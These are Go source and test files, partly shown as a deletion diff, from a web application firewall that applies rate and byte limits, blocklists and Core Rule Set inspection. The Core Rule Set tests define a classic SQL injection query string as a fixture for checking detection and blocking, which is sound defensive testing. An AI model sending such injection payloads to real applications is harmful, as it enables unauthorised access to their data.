// At 100, its default, it lowers no limit.
{unknownLimitPercent, "100", false},
} {
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
})
began := time.Now()
serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
want := time.Duration(0)
if tc.waits {
want = timeout
}
if waited := time.Since(began); waited != want {
t.Errorf("the request waited %s for its answer, want %s", waited, want)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
// The bubble's clock stops once this function returns, so the
// request to GeoJS, which a request that did not wait leaves
// under way, has to be abandoned before then.
time.Sleep(timeout)
})
})
}
}
func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// before is how many uploads come before the one that breaks a
// limit, which is answered with status and logged with action.
before int
status int
action string
// reason and want are the ban's reason, and its notes' limit
// percentage, as percentText gives it.
reason, want string
}{
{
// A quarter of 12 requests a minute is 3: the fourth breaks it.
"a rate limit",
map[string]string{rateLimitPerMinute: "12", tagLimitPercent: asnTagDEQuarter},
3, http.StatusForbidden, requestlog.ActionClientIsRateLimited,
"requests per minute over the limit of 3", "25 from " + tagLimitPercent,
},
{
// The byte limits' percentage, not the rate limits'.
"a byte limit",
map[string]string{
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
asnBytesPercent: asnDEHalf,
},
0, http.StatusOK, requestlog.ActionForward,
"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, server, queue := startWithLookups(t, tc.env)
for range tc.before {
s.uploadFrom(fromDE)
}
s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
tc.status, tc.action)
held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(held) != 1 {
t.Fatalf("bans %+v, want one", held)
}
notes := held[0].Notes
if held[0].Reason != tc.reason {
t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
}
wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
notes.LimitPercentSetting, tc.want)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
}
alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
alerted.LimitPercentSetting, tc.want)
})
}
}
// startWithLookups is startWithLookupsAndClock for a test that needs no
// clock.
func startWithLookups(
t *testing.T, env map[string]string,
) (*sender, *discriminator.Server, *alerts.Queue) {
t.Helper()
s, _, server, queue := startWithLookupsAndClock(t, env)
return s, server, queue
}
// startWithLookupsAndClock is startAppWithAlerts in front of
// readAndAnswer, with the settings in env on top of clients looked up in a
// lookup database, which places fromDE and fromKP in the AS numbers and
// countries the stand-in for GeoJS gives them, noCountry in AS64500 and no
// country, and no other address.
func startWithLookupsAndClock(
t *testing.T, env map[string]string,
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper()
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, path, map[string]lookuptest.Network{
fromDE + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
fromKP + "/32": {ASN: asnKP, ASName: asNameKP, Country: "KP"},
noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
})
settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
maps.Copy(settings, env)
return startAppWithAlerts(t, readAndAnswer, settings)
}
// uploadFrom is upload from the client at from.
func (s *sender) uploadFrom(from string) logLine {
s.t.Helper()
line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
http.StatusOK, requestlog.ActionForward)
return line
}
// serveFromDE hands a question about a request from fromDE with method and body
// straight to server's handler, without the network, and returns once it is
// answered.
func serveFromDE(
t *testing.T, server *discriminator.Server, method string, body io.Reader,
) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
req.Header.Set(discriminator.ClientHeader, fromDE)
req.Header.Set(requestIDHeader, "the-id")
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
}
// wantPercent checks a limit percentage that a log line or a ban's notes
// give, what, and the setting that gave it, against want, as percentText
// gives them.
func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
t.Helper()
if got := percentText(percent, setting); got != want {
t.Errorf("%s is %s, want %s", what, got, want)
}
}
// percentText gives a limit percentage and the setting that gave it as
// text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
// left out.
func percentText(percent *int64, setting string) string {
switch {
case percent == nil && setting == "":
return none
case percent == nil:
return "none from " + setting
default:
return fmt.Sprintf("%d from %s", *percent, setting)
}
}
internal/discriminator/blocklists.go
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package discriminator
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
// through the reputation lists.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// blocklists notes the blocklists that list the client, as noteListed does,
// and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
// lowers the client's limits instead (see limitPercentages), and being log, it
// does nothing more. Its figure is the blocklists that list the client.
type blocklists struct{}
func (blocklists) name() string { return "blocklists" }
func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
listedBy := rq.h.lists.ListedBy(rq.client)
rq.blocklisted = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a blocklist")
if !rq.refusedByBlocklists(listedBy) {
return nil
}
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{"lists": listedBy},
}
}
// refusedByBlocklists reports whether the heuristic blocklists refuses a
// client, given listedBy, the blocklists that list it: it does when one lists
// it and SWW_BLOCKLIST_ACTION is deny.
func (rq *request) refusedByBlocklists(listedBy []string) bool {
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
}
internal/discriminator/bytelimits.go
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package discriminator
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
// and biased thresholds through the limiter and limitPercentages.
import (
"context"
"time"
)
// byteLimits counts the request's bytes, as countedBytes gives them, for the
// byte limits, once its report has come, and notes the client's byte totals for
// the log line; its requests stay there as the rate limits counted them. Only
// an allowed request has them counted, and only one the rate limits counted; in
// observe mode, not one that enforce mode would have refused. Bytes that take
// the client over a byte limit, as its limit percentage for the byte limits
// lowers it, break it, which bans the client; the response was passed on whole.
// Its figures are the window, the count and the limit.
type byteLimits struct{}
func (byteLimits) name() string { return "byte_limits" }
func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
if !rq.counted || rq.line.WouldAction != "" {
return nil
}
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
rq.countedBytes(), rq.bytesLimitPercent.percent)
rq.line.Counts.MinuteBytes = counts.MinuteBytes
rq.line.Counts.HourBytes = counts.HourBytes
rq.line.Counts.DayBytes = counts.DayBytes
if !over {
return nil
}
rq.banForLimit(now, hit, rq.out.status)
return &verdict{figures: limitFigures(hit)}
}
internal/discriminator/bytelimits_test.go
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@@ -1,540 +0,0 @@
package discriminator_test
import (
"bufio"
"io"
"net"
"net/http"
"net/netip"
"reflect"
"strconv"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The byte limit settings.
const (
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
bytesCount = "SWW_BYTES_COUNT"
)
// The values of SWW_BYTES_COUNT.
const (
countResponse = "response"
countRequest = "request"
countBoth = "both"
)
const (
// bodyBytes is the size of the body of each request these tests send
// with one, and answerBytes that of each answer of the app.
bodyBytes = 30
answerBytes = 70
// byteLimit is the byte limit these tests set, as a setting: a request
// with a body and its answer, 100 bytes, go over it.
byteLimit = "99"
// minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
minuteBytes = "minute_bytes"
)
func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
setting, window string
// apart is the time between the two requests, which the window
// still covers.
apart time.Duration
}{
{bytesLimitPerMinute, minute, 0},
{bytesLimitPerHour, "hour", 2 * time.Minute},
{bytesLimitPerDay, "day", 2 * time.Hour},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
s, clk := startWithAnswers(t, map[string]string{
tc.setting: byteLimit, metricsToken: token,
})
// 70 bytes are within the limit of 99.
line, _ := s.download()
if line.LimitHit != "" || line.Offence != "" {
t.Errorf("log line has limit_hit %q and offence %q, want neither",
line.LimitHit, line.Offence)
}
// 140 bytes are over it. The response is passed on whole, and
// then bans the client for an hour.
clk.advance(tc.apart)
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
line, got := s.download()
if got.err != nil || len(got.body) != answerBytes ||
line.ResponseBytes != answerBytes {
t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
"want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
}
if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires {
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"want %s_bytes, limit and %s", line.LimitHit, line.Offence,
line.BanExpires, tc.window, expires)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
})
}
}
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
line, _ := s.download()
wantAfterAnswerHeuristic(t, line, "", "null")
// Two answers of 70 bytes are over the limit of 99.
line, _ = s.download()
wantHeuristic(t, line, "", "null")
wantAfterAnswerHeuristic(t, line, "byte_limits",
`{"window": "minute", "count": 140, "limit": 99}`)
}
func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: "50"})
// The answer's 70 bytes are over the limit of 50 on their own.
line, got := s.download()
if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}
func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
t.Parallel()
s, clk, _, _ := startAppWithAlerts(t, breakOff, map[string]string{
bytesLimitPerMinute: "50",
})
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
// The 70 bytes passed on before the app broke off are over the limit of
// 50, and ban the client for an hour.
line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
requestlog.ActionForward)
if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
line.BanExpires != expires {
t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
"want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
answerBytes, minuteBytes, expires)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}
func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
setting string
counted float64
}{
{countResponse, answerBytes},
{countRequest, bodyBytes},
{countBoth, bodyBytes + answerBytes},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
bytesLimitPerMinute: "29", bytesCount: tc.setting,
})
// The client sends 30 bytes and the app 70, each over the limit
// of 29, which bans the client once the WebSocket has closed.
line := s.webSocket()
if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
})
}
}
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
setting string
// each is the bytes each request counts, and breaking the request
// that goes over the limit of 99.
each float64
breaking int
}{
{countResponse, answerBytes, 2},
{countRequest, bodyBytes, 4},
{countBoth, bodyBytes + answerBytes, 1},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
})
for i := 1; i <= tc.breaking; i++ {
line := s.upload()
want := ""
if i == tc.breaking {
want = minuteBytes
}
counted := float64(i) * tc.each
if line.LimitHit != want || line.Counts.MinuteBytes != counted {
t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
"want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
want, counted)
}
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
})
}
}
func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
)
s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: byteLimit,
allowNets: allowed,
rateLimitExemptNets: exempt,
rateLimitExemptPaths: "/assets/",
})
// Each sends 200 bytes, none of which is counted.
for _, sent := range []struct{ from, path string }{
{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
} {
for range 2 {
line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
sent.from, sent.path, line.fields["counts"], line.LimitHit)
}
}
}
// A path that is not exempt is counted, and breaks the limit.
line := s.upload()
if line.LimitHit != minuteBytes {
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
}
}
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
})
for i := 1; i <= 3; i++ {
line := s.upload()
counted := float64(i * (bodyBytes + answerBytes))
if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
"want none and %v bytes in each window", i, line.LimitHit,
line.Counts, counted)
}
}
}
func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
t.Parallel()
s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
bytesLimitPerMinute: byteLimit,
})
start := clk.Now()
s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
uploadBody, http.StatusOK, requestlog.ActionForward)
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(time.Hour),
Cause: bans.CauseLimit,
Reason: "bytes per minute over the limit of " + byteLimit,
Notes: bans.Notes{
Kind: "bytes",
Limit: 99,
Window: minute,
Count: bodyBytes + answerBytes,
// The request as it was answered, by the app.
Request: bans.Request{
Time: start,
Method: http.MethodPost,
Host: appHost,
Path: "/upload?part=1",
Status: http.StatusOK,
UserAgent: userAgent,
},
Requests: 1,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, want,
requestlog.FormatTime(want.Expires)))
if offences := historyOf(t, server, client).Offences.Limit; offences != 1 {
t.Errorf("history counts %d offences for a limit, want 1", offences)
}
}
func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
t.Parallel()
s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
mode: observe,
bytesLimitPerMinute: byteLimit,
})
start := clk.Now()
// No ban sets the client's counters back to zero, so each request
// breaks the limit again. The answer is the app's either way, and the
// alert for the ban is not sent twice within the cooldown.
for range 2 {
line := s.upload()
wantWouldAction(t, line, "")
if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" {
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
minuteBytes)
}
}
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("the ledger holds %+v, want no ban", held)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
}
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe
wantAlerts(t, queue, alert)
}
func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{
mode: observe,
rateLimitPerMinute: "1",
bytesLimitPerMinute: "150",
})
s.upload()
// The second request breaks the rate limit, which in enforce mode would
// refuse it before the app sent anything, so its 100 bytes are not
// counted, and the byte limit is not broken. Its line gives the bytes
// counted before it.
line := s.upload()
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
}
}
// uploadHeader and uploadBody are the header and the body of a request
// with a body of bodyBytes.
//
//nolint:gochecknoglobals // a constant cannot call strings.Repeat
var (
uploadHeader = "Content-Length: " + strconv.Itoa(bodyBytes)
uploadBody = strings.Repeat("u", bodyBytes)
)
// readAndAnswer is the app of these tests: it reads each request's whole
// body and answers with answerBytes bytes.
func readAndAnswer(w http.ResponseWriter, r *http.Request) {
_, _ = io.Copy(io.Discard, r.Body)
_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
}
// breakOff is an app that announces an answer of twice answerBytes, and
// breaks off after answerBytes.
func breakOff(w http.ResponseWriter, _ *http.Request) {
w.Header().Set("Content-Length", strconv.Itoa(2*answerBytes))
_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
}
// answerAfterUpgrade is an app that switches protocols, as for a
// WebSocket, and then answers each line it receives with a line of
// answerBytes.
func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
conn, buffered, err := http.NewResponseController(w).Hijack()
if err != nil {
return
}
defer func() {
_ = conn.Close()
}()
_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
_ = buffered.Flush()
for {
_, err := buffered.ReadString('\n')
if err != nil {
return
}
_, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
_ = buffered.Flush()
}
}
// webSocket opens a WebSocket from client to answerAfterUpgrade, sends a
// line of bodyBytes on it, reads the answer, and closes it. It checks the
// answer, and the log line as request does, and returns the log line.
func (s *sender) webSocket() logLine {
s.t.Helper()
conn, reader := s.openWebSocket()
send(s.t, conn, strings.Repeat("u", bodyBytes-1)+"\n")
got, err := reader.ReadString('\n')
if err != nil || len(got) != answerBytes {
s.t.Errorf("got %d bytes (%v), want %d", len(got), err, answerBytes)
}
return s.closeWebSocket(conn)
}
// openWebSocket sends a request from client to switch protocols, as for a
// WebSocket, and checks that the app switches. It returns the connection,
// on which reading fails once waitLimit has passed, and a reader of what
// the app sends on it.
func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
s.t.Helper()
conn := dial(s.t, s.addr)
send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
if err != nil {
s.t.Fatalf("set read deadline: %v", err)
}
reader := bufio.NewReader(conn)
res, err := http.ReadResponse(reader, nil)
if err != nil {
s.t.Fatalf("read the answer to the upgrade: %v", err)
}
_ = res.Body.Close()
if res.StatusCode != http.StatusSwitchingProtocols {
s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
}
return conn, reader
}
// closeWebSocket closes conn, a WebSocket openWebSocket opened, checks its
// log line as request does, and returns it.
func (s *sender) closeWebSocket(conn net.Conn) logLine {
s.t.Helper()
_ = conn.Close()
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++
wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
return line
}
// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
// test that looks at neither the server nor the alerts.
func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
t.Helper()
s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
return s, clk
}
// download sends a GET request for / from client, and checks that the
// app's answer is passed on, as request does. It returns the log line and
// the answer.
func (s *sender) download() (logLine, answer) {
s.t.Helper()
return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
requestlog.ActionForward)
}
// upload is download for a POST request with a body of bodyBytes, and
// returns the log line.
func (s *sender) upload() logLine {
s.t.Helper()
line, _ := s.requestWithBody(http.MethodPost, client, "/", uploadHeader,
uploadBody, http.StatusOK, requestlog.ActionForward)
return line
}
internal/discriminator/client.go
-62
View File
@@ -1,62 +0,0 @@
package discriminator
import (
"crypto/rand"
"net/http"
"net/netip"
"slices"
)
// peerAddress is the address of the request's TCP peer.
func peerAddress(r *http.Request) netip.Addr {
addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
if err != nil {
return netip.Addr{}
}
return addrPort.Addr().Unmap()
}
// requestIDHeader carries the request's id, from rproxy.
const requestIDHeader = "X-Request-ID"
// requestID is the request's id: the one a question gives, or for any other
// request a new random one.
func requestID(r *http.Request, isQuestion bool) string {
if isQuestion {
return r.Header.Get(requestIDHeader)
}
return rand.Text()
}
// scheme is how the visitor reached rproxy, or the trusted proxy in front of
// it, as a question says in X-Forwarded-Proto, or otherwise http.
func scheme(r *http.Request, isQuestion bool) string {
proto := r.Header.Get("X-Forwarded-Proto")
if !isQuestion || proto == "" {
return "http"
}
return proto
}
// clientGroup is the client a request is counted toward: its IPv4
// address, or its IPv6 group, the netblock its IPv6 address is in of the
// length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
addr = addr.Unmap()
if addr.Is6() {
return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked()
}
return netip.PrefixFrom(addr, addr.BitLen())
}
// isInside reports whether addr is in one of the netblocks.
func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool {
return netblock.Contains(addr)
})
}
internal/discriminator/coreruleset.go
-100
View File
@@ -1,100 +0,0 @@
package discriminator
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
// and SWW_WAF_ANOMALY_THRESHOLD.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// coreRuleSet inspects the request with the Core Rule Set, unless
// SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWW_WAF_ANOMALY_THRESHOLD is a match: it adds the tag exploitsignature,
// raises the core_rule_set_match alert, and in block mode refuses the request with 403,
// which is an offence its client's history counts. Its figures are the score
// and the threshold.
type coreRuleSet struct{}
func (coreRuleSet) name() string { return "core_rule_set" }
func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
return nil
}
start := time.Now()
// A question's body has been read into memory, so that reading it here
// cannot fail.
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
rq.requestBytes = int64(len(read))
rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
rq.line.CoreRuleSetRuleIDs = result.RuleIDs
rq.line.CoreRuleSetScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
}
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return nil
}
rq.addTag(config.ExploitSignatureTag)
rq.alertCoreRuleSetMatch(result)
if cfg.WAFMode == config.WAFModeDetect {
return nil
}
rq.blockedByCoreRuleSet = true
return &verdict{
action: requestlog.ActionBlockedByCoreRuleSet,
figures: map[string]any{figureScore: result.Score, "threshold": threshold},
}
}
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
// which the Core Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
"score": result.Score,
"method": rq.in.Method,
"path": rq.in.URL.RequestURI(),
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventCoreRuleSetMatch,
Host: rq.site,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
internal/discriminator/coreruleset_test.go
-534
View File
@@ -1,534 +0,0 @@
package discriminator_test
import (
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
// its two modes that inspect requests.
const (
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
block = "block"
detect = "detect"
)
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
// setting.
const (
sizeLimit = 1 << 10
sizeLimitSetting = "1K"
)
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWW_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
// core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
// score, that it has none of the three: the Core Rule Set did not inspect the
// request.
func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t.Helper()
if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
t.Errorf("log line has core_rule_set_rule_ids %v, want %v",
line.CoreRuleSetRuleIDs, ruleIDs)
}
switch {
case score == nil &&
(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
t.Errorf("log line has core_rule_set_score %v and "+
"duration_core_rule_set_ms %v, want neither",
line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
case score != nil &&
(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
t.Errorf("log line has core_rule_set_score %v, want %d",
line.fields["core_rule_set_score"], *score)
case score != nil && line.DurationCoreRuleSetMS == nil:
t.Error("log line has no duration_core_rule_set_ms")
}
}
func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
mode string
status int
action string
}{
{block, block, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet},
{detect, detect, http.StatusOK, requestlog.ActionForward},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
"exploitsignature")
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
})
}
}
func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
